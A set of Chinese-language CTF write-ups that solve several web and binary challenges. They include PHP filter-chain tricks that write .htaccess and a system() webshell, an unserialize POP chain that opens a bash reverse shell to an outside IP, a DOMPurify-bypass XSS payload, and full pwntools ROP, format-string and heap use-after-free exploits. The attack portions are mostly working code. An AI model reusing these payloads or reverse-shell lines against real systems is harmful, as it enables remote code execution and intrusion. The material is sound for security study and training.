!file_exists($dir = "sandbox/" . md5(session_start() . session_id())) && mkdir($dir);
chdir($dir);
!isset($_GET['code']) && die('/?8====D');
$time = date('Y-m-d-H:i:s');
strlen($out = ($_GET['output'] ?? "$time.html")) > 255 && die('toooooooo loooooong');
(trim($ext = pathinfo($out) ['extension']) !== '' && strtolower(substr($ext, 0, 2)) !== "ph") ? file_put_contents($out, sprintf(file_get_contents('/va' . 'r/www/html/template.html') , $time, highlight_string($_GET['code'], true))) : die("BAD");
echo "<p>Highlight:
<a href=\"/$dir/$out\">$out</a></p>"
// You might also need: /phpinfo.php
?>
簡單來說可以指定一個 code
和 output
參數,output
可以指定檔名,但是副檔名不可以為 ph
開頭。code
的話會先 highlight 過後使用塞到 template.html
的字串中,然後寫到 sandbox/$output
的位置。目標是要能夠執行指令。
首先是副檔名禁止 ph
開頭的話就代表 php
php7
… 之類的都不能用,所以沒辦法靠直接寫 webshell 去 RCE。不過看 phpinfo 可以知道應該是用 php:7.4-apache
這個 image 跑的,既然有 Apache 的話代表 .htaccess
可用,而本地測試一下也發現這個 image 在預設設定是會吃 .htaccess
的。
所以現在的目前變成往 .htaccess
寫入以下內容:
AddType application/x-httpd-php .p
之後再想辦法寫個 .p
的檔案就能得到 webshell 了。不過困難的點有幾個,一個是 template.html
長這樣:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>PHP Highlighter</title>
<link rel="stylesheet" href="/bootstrap.min.css">
<link rel="stylesheet" href="/cooool.css">
</head>
<body>
<div class="container">
<h1 class="page-header">
<span><span style="color:#ff0000;">P</span><span style="color:#ff6e00;">H</span><span
style="color:#ffdd00;">P </span></span><span><span style="color:#b2ff00;">H</span><span
style="color:#48ff00;">i</span><span style="color:#00ff26;">g</span><span
style="color:#00ff95;">h</span><span style="color:#00fbff;">l</span><span
style="color:#0091ff;">i</span><span style="color:#0022ff;">g</span><span
style="color:#4d00ff;">h</span><span style="color:#b700ff;">t</span><span
style="color:#ff00d9;">e</span><span style="color:#ff006a;">r</span></span>
<img src="/img/hot.gif">
</h1>
<marquee scrolldelay="10">
Generate @ %s =w=
</marquee>
<table cellspacing="2" cellpadding="2">
<tbody>
<tr>
<td><img src="/img/ie_logo.gif"></td>
<td><img src="/img/ns_logo.gif"></td>
<td><img src="/img/noframes.gif"></td>
<td><img src="/img/notepad.gif"></td>
</tr>
</tbody>
</table>
<center><img src="/img/divider.gif"></center>
<br>
<div class="well">
%s
</div>
<center><img src="/img/divider.gif"></center>
<br>
<footer class="text-center">
<img src="/img/counter2.gif">
</footer>
</div>
</body>
</html>
然後輸入的 code
參數也是先經過 highlight_string
才會被 sprintf
進去的,然而 .htaccess
不像 .php
那麼寬容,多塞一堆 garbage 進去只會讓它 error。此時可以想辦法用點 php://filter/
讓它對準備寫入的資料做些處裡,產生出想要的 output,例如 convert.base64-decode
在 decode 的時候會自動忽略掉所有非 base64 字元,而 string.strip_tags
會把一些長的像 <xxx>
的 tags 消除。
完整列表可以參考官方文件
因為 template.html
基本上都是 html,自然會想先用string.strip_tags
把多餘的 tags 刪掉,這樣就只剩下一些純文字和一堆 indentation 的空白。之後再把 payload 反覆 base64 encode 避免出錯,之後讓他反覆 base64 decode 後就能把其他剩下的資料去除,只剩下目標 payload…。只是這個計畫說起來很美好,實際上執行時會出錯,主要在於 template.html
有一行 Generate @ %s =w=
,其中的 =
在 base64 代表的是結尾,之後還出現資料就會讓它出錯,所以 decode 失敗就使得 output 為空字串。
去除 =
的方法很多,例如我用一些和 ASCII 不相容的 encoding 如 CP037,這樣 =
就會變成一些其他的資料,之後就能反覆 base64 decode 得到目標 output。當然,原本的資料也是要反過來轉換才不會讓它出錯。
下面兩個 php script 都會輸出一個 url,分別可以產生出寫入 .htaccess
和 .p
檔案的 url,分別寫入完就直接存取 webshell 在根目錄找 flag 即可。
<?php
function encodeURIComponent($str)
{
$revert = array('%21' => '!', '%2A' => '*', '%27' => "'", '%28' => '(', '%29' => ')');
return strtr(rawurlencode($str), $revert);
}
function generateRandomString($length = 10)
{
return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
}
function noEqualB64($s)
{
while (true) {
$b = base64_encode($s . generateRandomString(random_int(0, 10)));
if (!strstr($b, '=')) {
return $b;
}
}
}
$tmpl = file_get_contents("template.html");
$payload = "AddType application/x-httpd-php .p\n# c8763 --- ";
$payload = iconv('CP037', 'LATIN1', 'x' . noEqualB64(noEqualB64($payload)));
$output = sprintf($tmpl, date('Y-m-d-H:i:s'), $payload);
$url = "php://filter/string.strip_tags|convert.iconv.LATIN1.CP037|convert.base64-decode|convert.base64-decode/resource=.htaccess";
file_put_contents($url, $output);
echo "https://babyphp.h4ck3r.quest/?code=" . encodeURIComponent($payload) . "&output=" . encodeURIComponent($url) . "\n";
<?php
function encodeURIComponent($str)
{
$revert = array('%21' => '!', '%2A' => '*', '%27' => "'", '%28' => '(', '%29' => ')');
return strtr(rawurlencode($str), $revert);
}
function generateRandomString($length = 10)
{
return substr(str_shuffle(str_repeat($x = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length / strlen($x)))), 1, $length);
}
function noEqualB64($s)
{
while (true) {
$b = base64_encode($s . generateRandomString(random_int(0, 10)));
if (!strstr($b, '=')) {
return $b;
}
}
}
$tmpl = file_get_contents("template.html");
$payload = "<?php system(\$_GET[cmd]); ?> peko ";
$payload = iconv('CP037', 'LATIN1', 'x' . noEqualB64(noEqualB64($payload)));
$output = sprintf($tmpl, date('Y-m-d-H:i:s'), $payload);
$url = "php://filter/string.strip_tags|convert.iconv.LATIN1.CP037|convert.base64-decode|convert.base64-decode/resource=shell.p";
file_put_contents($url, $output);
echo "https://babyphp.h4ck3r.quest/?code=" . encodeURIComponent($payload) . "&output=" . encodeURIComponent($url) . "\n";
Flag: FLAG{Pecchipee://filter/k!ng}
這題是一個簡單的 album 服務,可以讓你上傳些照片上去,目標是 RCE。題目本身使用的是 Flight framework。
第一個明顯的洞在於 src/lib/class.album.php
中的 addImage
:
public function addImage($uploaded_file_path, $image_name)
{
if (getimagesize($uploaded_file_path) === false)
throw new Exception("File is not an image");
// NO WEBSHELL THIS TIME :D
if (str_ends_with($image_name, 'jpg') || str_ends_with($image_name, 'jpeg') || str_ends_with($image_name, 'png'))
move_uploaded_file($uploaded_file_path, $this->getAlbumPath() . "/$image_name");
else
throw new Exception("Invalid extension");
}
其中 $this->getAlbumPath()
的回傳值是來自 url /album/@id/add
的 id
參數,使用者可控。而 $image_name
是 HTTP 上傳時候的那個名稱,一樣可控。
這邊檔名只能以 jpg
, jpeg
或是 gif
結尾,想不到寫 webshell 的方法。不過 album path 可以有 ../
之類的出現,代表可以 path traversal 寫入,不過可寫入的地方也只有 ./uploads
和 /tmp
的樣子。
/tmp
裡面會有 sess_$PHPSESSID
形式的檔案出現,存 session 的 serialized 資料。而 index.php
本身中也有直接從 session 中存取物件後呼叫函數的操作,所以可知目標是要想辦法利用 unserialize 去 RCE。
說到 php pop chain 就先去 phpggc 看看有沒有現成的,只是這個 framework 應該是特別挑過不在裡面的,所以沒有現成的能用。這樣就只好自己讀 framework source code 找 pop chain 了。
framework 的 Engine.php
中的 Engine
class 有個 __call
如下:
public function __call(string $name, array $params)
{
$callback = $this->dispatcher->get($name);
if (\is_callable($callback)) {
return $this->dispatcher->run($name, $params);
}
if (!$this->loader->get($name)) {
throw new Exception("{$name} must be a mapped method.");
}
$shared = empty($params) || $params[0];
return $this->loader->load($name, $shared);
}
這是個 php magic method 所以在 obj->abc(123)
時相當於呼叫 obj->__call('obj', [123])
。裡面會用 $dispatcher
去找 callback,然後如果是 callable 的話就使用 $dispatcher->run
去呼叫之。實際測試下也發現確實能把 $callback
控制成 system
之類的,但問題在於 deserialized 的物件只在幾個地方被呼叫到:
Flight::get('user')->addAlbum($id); // $id is a random string
Flight::get('user')->getUsername();
Flight::get('user')->getAlbums();
這代表說 $params
根本無法控制,就算能呼叫 system
也不能 RCE。
之後繼續看到 $this->loader->load($name, $shared);
,裡面是在 core/Loader.php
之中:
public function load(string $name, bool $shared = true): ?object
{
$obj = null;
if (isset($this->classes[$name])) {
[$class, $params, $callback] = $this->classes[$name];
$exists = isset($this->instances[$name]);
if ($shared) {
$obj = ($exists) ?
$this->getInstance($name) :
$this->newInstance($class, $params);
if (!$exists) {
$this->instances[$name] = $obj;
}
} else {
$obj = $this->newInstance($class, $params);
}
if ($callback && (!$shared || !$exists)) {
$ref = [&$obj];
\call_user_func_array($callback, $ref);
}
}
return $obj;
}
其中可以看到說如果 $this->classes[$name]
存在的話就從裡面拿 $class
$params
和 $callback
,如果沒有已存在的 instances 的話就用 newInstance
建立新 instance:
public function newInstance($class, array $params = []): object
{
if (\is_callable($class)) {
return \call_user_func_array($class, $params);
}
switch (\count($params)) {
case 0:
return new $class();
case 1:
return new $class($params[0]);
case 2:
return new $class($params[0], $params[1]);
case 3:
return new $class($params[0], $params[1], $params[2]);
case 4:
return new $class($params[0], $params[1], $params[2], $params[3]);
case 5:
return new $class($params[0], $params[1], $params[2], $params[3], $params[4]);
default:
try {
$refClass = new ReflectionClass($class);
return $refClass->newInstanceArgs($params);
} catch (ReflectionException $e) {
throw new Exception("Cannot instantiate {$class}", 0, $e);
}
}
}
可以看到說如果 $class
是 callable,那就把 $class
作為函數來呼叫,$params
是參數。只是這次的 $class
和 $params
都來自於 $engine->$loader->$classes
,所以可以讓它呼叫到任意函數,參數也是可控的,因此就能夠 RCE。
另外在上傳檔案可能遇到的小問題是它會檢查 getimagesize($uploaded_file_path) === false
,不過去讀一下 source code 會知道它其實很好繞,例如在處裡 gif 的地方沒有什麼特別的驗證,而判斷 GIF 的方法也只是檢查前三個 bytes 是不是 GIF
而已。所以給 session array 塞個 GIF
的 key 就能輕鬆繞過了。
<?php
// need to run `composer install` in `src` folder
include 'src/vendor/autoload.php';
include 'src/lib/class.album.php';
include 'src/lib/class.user.php';
use flight\Engine;
function forceGet($obj, $prop)
{
$reflection = new ReflectionClass($obj);
$property = $reflection->getProperty($prop);
$property->setAccessible(true);
return $property->getValue($obj);
}
function forceSet($obj, $prop, $val)
{
$reflection = new ReflectionClass($obj);
$property = $reflection->getProperty($prop);
$property->setAccessible(true);
$property->setValue($obj, $val);
}
session_start();
# reverse shell
$ip = '48.76.3.3';
$port = '8763';
$e = new Engine();
forceSet(forceGet($e, 'dispatcher'), 'events', []);
forceSet(forceGet($e, 'dispatcher'), 'filters', []);
forceSet(forceGet($e, 'loader'), 'classes', ['getUsername' => ['system', ["bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'"], 'unused_callback']]);
forceSet(forceGet($e, 'loader'), 'instances', []);
forceSet(forceGet($e, 'loader'), 'dirs', []);
$e = unserialize(serialize(($e)));
// $e->getUsername();
$_SESSION['GIF'] = 48763;
$_SESSION['user'] = $e;
echo session_encode();
# php payload_gen > test.gif
# curl -H 'Cookie: PHPSESSID=pekomikojpg' 'https://imgura-album.h4ck3r.quest/album/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252ftmp/add' -X POST -F 'image=@test.gif; filename="sess_pekomikojpg"'
# FLAG{4lbums_pwn3ddd}
這題可以建立 note,note 的內容會先經過 marked.parse
,再經過 DOMPurify.sanitize
,最後會將 {%gist data %}
轉換成 iframe。
在轉換成 iframe 時,data 會被經過 encodeURI,無法閉合雙引號插入其他 html 內容。
相關部分 code 如下:
// initialize markdown content
window.onload = function () {
fetch(RAW_MARKDOWN_URL).then(r => r.text()).then(markdown => {
const html = DOMPurify
.sanitize(marked.parse(markdown))
.replace(/{%gist\s*(\S+)\s*%}/g, (_, gistId) => `
<iframe
class="gist-embed"
sandbox="allow-scripts allow-same-origin"
scrolling="no" data-gist="${encodeURI(gistId)}"
csp="default-src 'none'; style-src 'unsafe-inline' https://github.githubassets.com/assets/; script-src https://gist.github.com/;">
</iframe>`);
document.querySelector('.main').innerHTML = html;
document.querySelector('.main').querySelectorAll('.gist-embed').forEach(embed => {
embed.srcdoc = `<script src="https://gist.github.com/${embed.dataset.gist}.js"></script>`
embed.onload = () =>
embed.style.height = `${embed.contentDocument.documentElement.scrollHeight}px`;
});
});
document.getElementById('note-title').textContent = GistMD.title || GistMD.id;
};
這邊最大的問題在於它在 DOMPurify sanatize 之後才 replace,這件事在 cure53/DOMPurify 的 README 就有一句說明:
Well, please note, if you first sanitize HTML and then modify it afterwards, you might easily void the effects of sanitization. If you feed the sanitized markup to another library after sanitization, please be certain that the library doesn't mess around with the HTML on its own.
首先為了不要被 marked 的 markdown 特性干擾,可以把所有的東西塞到一個 <div>
中,因為它預設是不會處裡 inline html 裡面的東西的。
之後經過些實驗可以發現說 DOMPurify 是允許 attribute context 中出現 <
的,但是在 attribute context 之外的 <
都會當作 tag 解析,然後移除掉一些有問題的 tag。
不過 replace 時是直接把 {%gist a %}
換成一個 iframe tag,如果 {%gist a %}
出現在 attribute 中然後被 replace 成 html 的話,<iframe>
start tag 結尾的那個 >
會被瀏覽器的 html parser 當作是 <img>
的結尾,然後因為 <img>
是 self-closing tag 所以之後接的東西都是屬於 <img>
之外的東西。</iframe>
的話是被瀏覽器忽略掉的樣子。
因此對於下面的 payload:
<div>
<img alt="{%gist a %}<img src=/ onerror=eval(GistMD.title)>">
</div>
經過 replace 後,iframe 的內容會讓第一個 img 閉合,原本在 alt 內剩下的內容就會就會出現在正常 element 的 context,成功 XSS。下面這個是從 devtools 看 DOM Tree 的解析結果:
<div>
<img alt="
<iframe
class=" 'gist-embed"'="" sandbox="allow-scripts allow-same-origin" scrolling="no" data-gist="a" csp="default-src 'none'; style-src 'unsafe-inline' https://github.githubassets.com/assets/; script-src https://gist.github.com/;">
<img src=/ onerror=eval(GistMD.title)>">
</div>
payload 部分可以直接塞 title,雖然很多字元會被 escape,但因為 title 本身是放在一個 javascript string literal 中解析的,可以使用 \x61\x62
這樣的方法 encode 即可。這可以用 CyberChef 容易的做到。
Flag: FLAG{?callback=xss.h4ck3r}
intended solution 是透過 gist 的 jsonp callback function 觸發 top 的 click 事件,然後讓
GistMD
的 inline script 產生 syntax error 之後再 dom clobbering 填充GistMD.url
達成 XSS。
丟到 IDA,會發現 fini()
裡面有藏 code
int fini()
{
int result; // eax
__int64 buf[2]; // [rsp+0h] [rbp-70h] BYREF --- [4]
...
result = open(file, 0); // --- [1]
v8 = result;
if ( result != -1 )
{
buf[0] = 0LL;
buf[1] = 0LL;
read(0, buf, 1uLL); // --- [2]
result = LOBYTE(buf[0]);
if ( LOBYTE(buf[0]) == 0xFF )
return read(0, buf, 0x200uLL); // --- [3]
}
...
}
這邊可以看到在 [1] 的時候,他會開一個檔案,用 strace
或 gdb
跑一下,可以知道他會開 flag
...
openat(AT_FDCWD, "/home/hello-world/flag", O_RDONLY) = 3
...
接著觀察下面的 code,可以發現在 [2] 的時候會 read()
1 byte。
如果那個 byte 是 0xff
的話,會進到 [3],去 read()
長度 0x200
的 data 到 buf
。
然而從 IDA 的資訊 [4] 可以看到,buf 位在 rbp-0x70
。
也就是說,會出現 buffer overflow 的情況。
接著看了一下保護機制,
會發現是 No PIE 而且沒有 Canary
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
所以想法很簡單,直接蓋 return address 做 ROP。
目標是去讀 flag ,然後把他印出來,就結束了。
用 ROPgadget
找一下,會找到可以控 rdi
、rsi
的 gadget
pop_rdi_ret = 0x00000000004013a3
pop_rsi_pop_x_ret = 0x00000000004013a1
可以並且程式中有 call read()
跟 puts()
,所以可以用這兩個 function。
雖然沒控到 rdx
,但因為 read()
中 rdx
是要讀的長度,在 return 的時候是一個可接受的值,所以無所謂。
所以大致流程就是
不過因為當初在做的時候,read 填錯位置,沒直接用 plt
的,用成 fini
中的 call read
並且後面接著 leave; ret
。
所以變成多做了 stack pivoting,然後讀第二段的 exploit 進來,不過都很快,所以也沒差(?
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.binary = './hello-world'
if args['REMOTE']:
p = remote('edu-ctf.zoolab.org', 30212)
else:
p = process('./hello-world')
buf_addr = 0x7fffffffe3d0
ret_addr = 0x7fffffffe448
sleep(20)
p.send("\xff")
pop_rdi_ret = 0x00000000004013a3
pop_rsi_pop_x_ret = 0x00000000004013a1
read_addr = 0x4012f7
puts_addr = 0x401310
rop_chain = 0x404800
flag_buf = 0x404400
ROPchain = flat(
pop_rdi_ret,
0,
pop_rsi_pop_x_ret,
rop_chain,
0,
read_addr
)
p.send(b'A' * (ret_addr - buf_addr - 8) + p64(rop_chain) + ROPchain)
stage_2_rop = flat(
rop_chain + 8*6,
pop_rdi_ret,
3,
pop_rsi_pop_x_ret,
flag_buf,
0,
read_addr,
pop_rdi_ret,
1,
pop_rdi_ret,
flag_buf,
puts_addr
)
raw_input("@")
p.send(stage_2_rop)
p.interactive()
題目有提供兩種 function mywrite()
和 myread()
。
並且可以選擇做這兩個 function 的時候,要讀/寫出的 buffer 位在 stack 還是 global。
題目允許做3次操作 (值得注意的是記錄次數的 cnt
是存在暫存器 rbx
中)。
void chal()
{
...
register int cnt = 3;
while (cnt--)
{
printf("global or local > ");
scanf("%10s", local);
// ptr = stack buffer or global buffer
printf("read or write > ");
scanf("%10s", local);
if (!strncmp("read", local, 4))
myread(ptr);
else if (!strncmp("write", local, 5))
mywrite(ptr);
else
exit(1);
}
puts("Bye ~");
exit(1);
}
而題目主要的 bug 是發生在 mywrite()
中,有 format string bug
void mywrite(char *addr)
{
printf(addr);
}
一般直覺的做法會是
但這樣會需要 4 次。
所以想法變成想辦法其中一個地方省略掉,
這邊用的方法是 stack 上,會存在著 rbp chain,
舉例來說像下面這個範例 02:0010 的地方
02:0010_ rbp 0x7fff8bd6cd10 __ 0x7fff8bd6cd70 __ 0x7fff8bd6cd80 __ 0x0
03:0018_ 0x7fff8bd6cd18 __ 0x401410 (chal+331) __ jmp 0x40141c
這個地方會指到 0x7fff8bd6cd70
,而且 0x7fff8bd6cd70
裡面存的是 0x7fff8bd6cd80
如果我們透過修改 0x7fff8bd6cd70
的最後一個 byte,
把 0x7fff8bd6cd80
變成 0x7fff8bd6cd18
(return address)。
接著透過 format string bug 改 0x7fff8bd6cd18
的值,就能控程式流。
控程式流之後,有一個不錯的 gadget
0x40141c <chal+343>: mov eax,ebx
0x40141e <chal+345>: lea ebx,[rax-0x1] <-- here
0x401421 <chal+348>: test eax,eax
這是在 while(cnt--)
的時候做的事,如果直接 return 到這邊,cnt (rbx) 就會變成一個很大的數字,就能進行更多次操作。
於是就能做最上面想做的事
&__elf_set___libc_atexit_element__IO_cleanup__
寫到 stack上 (這是一個 function pointer,exit 的時候,會執行到這個地方所指向的 function)__elf_set___libc_atexit_element__IO_cleanup__
的值寫成 one_gadget,這樣 exit 的時候就能拿到 shell。
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context.binary = './fullchain-buff'
while True:
try:
if args['REMOTE']:
p = remote('edu-ctf.zoolab.org', 30205)
else:
p = process('./fullchain-buff')
p.sendlineafter("global or local > ", "global")
p.sendlineafter("> ", "read")
p.sendlineafter("length > ", "23")
p.send("%136c%8$hhn%5014c%20$hn")
gdb.attach(p, gdbscript="""b mywrite""")
p.sendlineafter("global or local > ", "global")
p.sendlineafter("> ", "write")
p.sendlineafter("global or local > ", "global")
p.sendlineafter("> ", "write")
# cnt = 0x14xx
p.sendlineafter("global or local > ", "local")
p.sendlineafter("> ", "write%23$p")
p.recvuntil('0x')
libc = int(p.recv(12), base=16) - 0x270b3
__elf_set___libc_atexit_element__IO_cleanup__ = libc + 0x1ed608
one_gadget = libc + 0xe6c7e
print(hex(libc))
print(hex(__elf_set___libc_atexit_element__IO_cleanup__))
print(hex(one_gadget))
for i in range(3):
p.sendlineafter("global or local > ", "global")
p.sendlineafter("> ", "read")
p.sendlineafter("length > ", "23")
p.sendline("%{}c%14$hhn\x00".format((one_gadget >> (i*8)) & 0xff))
p.sendlineafter("global or local > ", "local")
p.sendlineafter("> ", "read")
p.sendlineafter("length > ", "23")
p.send(b"A" * 0x10 + p64(__elf_set___libc_atexit_element__IO_cleanup__ + i)[:-1])
p.sendlineafter("global or local > ", "global")
p.sendlineafter("> ", "write")
p.sendlineafter("> ", "A")
p.interactive()
break
except:
p.close()
因為這三題解法都一樣,只是差在最後面做的事不同,所以這邊就一起講。
這題是一個選單式的題目,情境就像是有一個檔案系統,
你有一個 shell 可以去看上面有哪些 file,並且你可以對 file 做 read, write 操作,也可以 create, rm,甚至是創立 softlink 或 hardlink。
如果看一下 code 會發現,實際上在 rm 一個檔案的時候,
在 delete_mf
時,會將檔案從 dir list 拔掉,
接著才會做 _release_mf
,去完整的 free
掉檔案相關的一些結構。
int delete_mf(GC *gc, MyUser *mu, MyFile *mf)
{
...
list_delete(&mu->curr_dir->dir_hd, &mf->next_file);
...
}
int _release_mf(MyFile *mf)
{
...
if (mf->refcnt) // --- [2]
return 0;
...
if (mf_is_normfile(mf)) {
free(mf->data.ino->content);
free(mf->data.ino);
}
...
} else if (mf_is_slink(mf)) {
// try to release softlink target
_release_mf(mf->data.link); // --- [1]
}
...
ret:
free(mf->fn);
free(mf);
return 0;
}
這邊有一個值得我們注意的是 [1] 如果 rm 一個 softlink 的時候,他會去遞迴把 softlink 實際指向的檔案也做 _release_mf
。
不過在做 _release_mf
他也會做 [2] 檢查現在這個檔案的 reference count,來判斷是不是真的要被釋放掉了。
這樣看起來很正常,然而 refcnt 的類型是 uint8_t
且在 create softlink 的時候,他會直接將 refcnt + 1。
MyFile *_new_slink(uint8_t uid, MyFile *link, char *fn)
{
...
link->refcnt++;
return mf;
}
這意味著如果創超過 255 個 softlink,就會發生 integer overflow,這時候如果將其中一個 softlnk rm 掉,他實際指向的 file 也會被 free 掉,但實際上那個 file 還不該被 free 掉,於是接下來就會發生 use after free 的情況。
然而實際在對一個已經被 free 回去的 file 做操作時,還會遇到一些問題,因為他會去檢查這個檔案的一些 flag、權限,才會對檔案做操作。
但因為這些東西是存在 chunk 的 fd 的位置的,我們沒辦法完全控制,不過因為要滿足的 flag bit 不多,所以有蠻大的成功率還是能做操作 (> 1/256)。
剩下來的就是做 heap 風水,去控制 tcache,之後就能 allocate 任意位置。
最後根據不同題目做法也不完全相同
__free_hook
,把 __free_hook
寫成 system
,再把一個內容是 "/bin/sh"
的 chunk 給 free()
掉。
from pwn import *
import os
import secrets
import hashlib
from time import time
context.terminal = ['tmux', 'splitw', '-h']
context.binary = './myfs'
cnt = 0
class NcPowser:
def __init__(self, difficulty=22, prefix_length=16):
self.difficulty = difficulty
self.prefix_length = prefix_length
def get_challenge(self):
return secrets.token_urlsafe(self.prefix_length)[:self.prefix_length].replace('-', 'b').replace('_', 'a')
def verify_hash(self, prefix, answer):
h = hashlib.sha256()
h.update((prefix + answer).encode())
bits = ''.join(bin(i)[2:].zfill(8) for i in h.digest())
return bits.startswith('0' * self.difficulty)
def pow_solver(p):
p.recvuntil('(')
prefix = p.recvuntil(' ')[:-1].decode()
p.recvuntil('(')
difficulty = int(p.recvuntil(')')[:-1])
powser = NcPowser(difficulty, len(prefix))
print(f'''
sha256({prefix} + ???) == {'0'*powser.difficulty}({powser.difficulty})...
''')
last = int(time())
i = 0
while not powser.verify_hash(prefix, str(i)):
i += 1
print(int(time()) - last, 'seconds')
print(f"sha256({prefix} + {i}) == {'0'*powser.difficulty}({powser.difficulty})")
p.sendlineafter("POW answer: ", str(i))
while True:
cnt+=1
print(cnt)
if args['REMOTE']:
p = remote('edu-ctf.zoolab.org', 30213)
pow_solver(p)
else:
os.system('cp flag* /home/myfs/')
p = process('./myfs')
NORM = 'normfile'
DIR = 'dir'
R = 'read'
W = 'write'
RW = 'read,write'
def create(type, name):
p.sendlineafter("> ", "create {} {}".format(type, name))
def cd(name):
p.sendlineafter("> ", "cd {}".format(name))
def rm(name):
p.sendlineafter("> ", "rm {}".format(name))
def read(name, data):
p.sendlineafter("> ", "read {}".format(name))
p.sendline(data)
def write(name):
p.sendlineafter("> ", "write {}".format(name))
def set_prot(name, prot):
p.sendlineafter("> ", "set {} {}".format(name, prot))
def slss(name):
p.sendlineafter("> ", "slss {}".format(name))
def slsd(name):
p.sendlineafter("> ", "slsd {}".format(name))
def hlss(name):
p.sendlineafter("> ", "hlss {}".format(name))
def hlsd(name):
p.sendlineafter("> ", "hlsd {}".format(name))
def useradd(username, password):
p.sendlineafter("> ", "useradd {} {}".format(username, password))
def login(username, password):
p.sendlineafter("> ", "login {} {}".format(username, password))
def set_prot(name, prot):
p.sendlineafter("> ", "set {} {}".format(name, prot))
flag1_offset = 0x620
create(NORM, 'AAA')
read('AAA', 'A' * 0x420)
for i in range(253):
slss('AAA')
slsd('AAA_{}'.format(i))
for i in range(3, 0xff):
useradd(f'{i}', f'{i}')
slss('AAA')
slsd('BBB')
slss('AAA')
slsd('CCC')
create(NORM, 'DDD')
for i in range(12):
create(NORM, "{}".format(i))
for i in range(12):
rm("{}".format(i))
rm('CCC')
rm('DDD')
for i in range(0xf):
login(f'{i*0x10+0x6}', f'{i*0x10+0x6}')
write('AAA_0')
tmp = p.recv(8)
print(tmp)
if tmp != b'[' and b'\x55' in tmp or b'\x56' in tmp:
heap = u64(tmp) - 0x12660
print(hex(heap))
print(cnt)
break
else:
p.close()
continue
create(NORM, 'b1')
create(NORM, 'b2')
create(NORM, p64(heap+0x10)[:-1].decode('latin-1')) # +0x12ae0
p.sendlineafter("> ", "read AAA_1")
p.send(p64(0x0000000000010003) + b'\x00' * 0x78 + p64(heap + 0x220) + p64(heap + 0x1260) + b'\x00' * (0x220 - 0x80 - 0x30) + flat(
0, 0x21,
heap + 0x240, 0,
0, 0x21,
heap + 0x260, 0,
0, 0x21,
0, 0
) + b'\x00' * 0xf)
# gdb.attach(p)
create(NORM, 'victim')
flag1 = heap + flag1_offset
target = flag1
p.sendlineafter("> ", "read AAA_1")
p.send(p64(0x0000000000010003) + b'\x00' * 0x78 + p64(heap + 0x220) + p64(heap + 0x1260) + b'\x00' * (0x220 - 0x80 - 0x30) + flat(
0, 0x21,
0x6d6974636976, 0,
0, 0x21,
0, 0,
0, 0x21,
0, 0
) + b'\x00' * 0xf)
read('victim', 'A' * 0x80)
p.sendlineafter("> ", "read AAA_1")
p.send(p64(0x0000000000010003) + b'\x00' * 0x78 + p64(heap + 0x220) + p64(heap + 0x1260) + b'\x00' * (0x220 - 0x80 - 0x30) + flat(
0, 0x21,
0x6d6974636976, 0,
0, 0x21,
target, 0,
0, 0x21,
0, 0
) + b'\x00' * 0xf)
p.sendlineafter("> ", "write victim")
p.interactive()
exit()
# FLAG{i am stupid}
from pwn import *
import os
import secrets
import hashlib
from time import time
context.terminal = ['tmux', 'splitw', '-h']
context.binary = './myfs'
cnt = 0
class NcPowser:
def __init__(self, difficulty=22, prefix_length=16):
self.difficulty = difficulty
self.prefix_length = prefix_length
def get_challenge(self):
return secrets.token_urlsafe(self.prefix_length)[:self.prefix_length].replace('-', 'b').replace('_', 'a')
def verify_hash(self, prefix, answer):
h = hashlib.sha256()
h.update((prefix + answer).encode())
bits = ''.join(bin(i)[2:].zfill(8) for i in h.digest())
return bits.startswith('0' * self.difficulty)
def pow_solver(p):
p.recvuntil('(')
prefix = p.recvuntil(' ')[:-1].decode()
p.recvuntil('(')
difficulty = int(p.recvuntil(')')[:-1])
powser = NcPowser(difficulty, len(prefix))
print(f'''
sha256({prefix} + ???) == {'0'*powser.difficulty}({powser.difficulty})...
''')
last = int(time())
i = 0
while not powser.verify_hash(prefix, str(i)):
i += 1
print(int(time()) - last, 'seconds')
print(f"sha256({prefix} + {i}) == {'0'*powser.difficulty}({powser.difficulty})")
p.sendlineafter("POW answer: ", str(i))
while True:
cnt+=1
if args['REMOTE']:
p = remote('edu-ctf.zoolab.org', 30213)
pow_solver(p)
else:
os.system('cp flag* /home/myfs/')
p = process('./myfs')
NORM = 'normfile'
DIR = 'dir'
R = 'read'
W = 'write'
RW = 'read,write'
def create(type, name):
p.sendlineafter("> ", "create {} {}".format(type, name))
def cd(name):
p.sendlineafter("> ", "cd {}".format(name))
def rm(name):
p.sendlineafter("> ", "rm {}".format(name))
def read(name, data):
p.sendlineafter("> ", "read {}".format(name))
p.sendline(data)
def write(name):
p.sendlineafter("> ", "write {}".format(name))
def set_prot(name, prot):
p.sendlineafter("> ", "set {} {}".format(name, prot))
def slss(name):
p.sendlineafter("> ", "slss {}".format(name))
def slsd(name):
p.sendlineafter("> ", "slsd {}".format(name))
def hlss(name):
p.sendlineafter("> ", "hlss {}".format(name))
def hlsd(name):
p.sendlineafter("> ", "hlsd {}".format(name))
def useradd(username, password):
p.sendlineafter("> ", "useradd {} {}".format(username, password))
def login(username, password):
p.sendlineafter("> ", "login {} {}".format(username, password))
def set_prot(name, prot):
p.sendlineafter("> ", "set {} {}".format(name, prot))
flag1_offset = 0x620
create(NORM, 'AAA')
read('AAA', 'A' * 0x420)
for i in range(253):
slss('AAA')
slsd('AAA_{}'.format(i))
for i in range(3, 0xff):
useradd(f'{i}', f'{i}')
slss('AAA')
slsd('BBB')
slss('AAA')
slsd('CCC')
create(NORM, 'DDD')
for i in range(12):
create(NORM, "{}".format(i))
for i in range(12):
rm("{}".format(i))
rm('CCC')
rm('DDD')
for i in range(0xf):
login(f'{i*0x10+0x6}', f'{i*0x10+0x6}')
write('AAA_0')
tmp = p.recv(8)
print(tmp)
if tmp != b'[' and b'\x55' in tmp or b'\x56' in tmp:
heap = u64(tmp) - 0x12660
uid = i*0x10+0x6
print(hex(heap))
print(cnt)
break
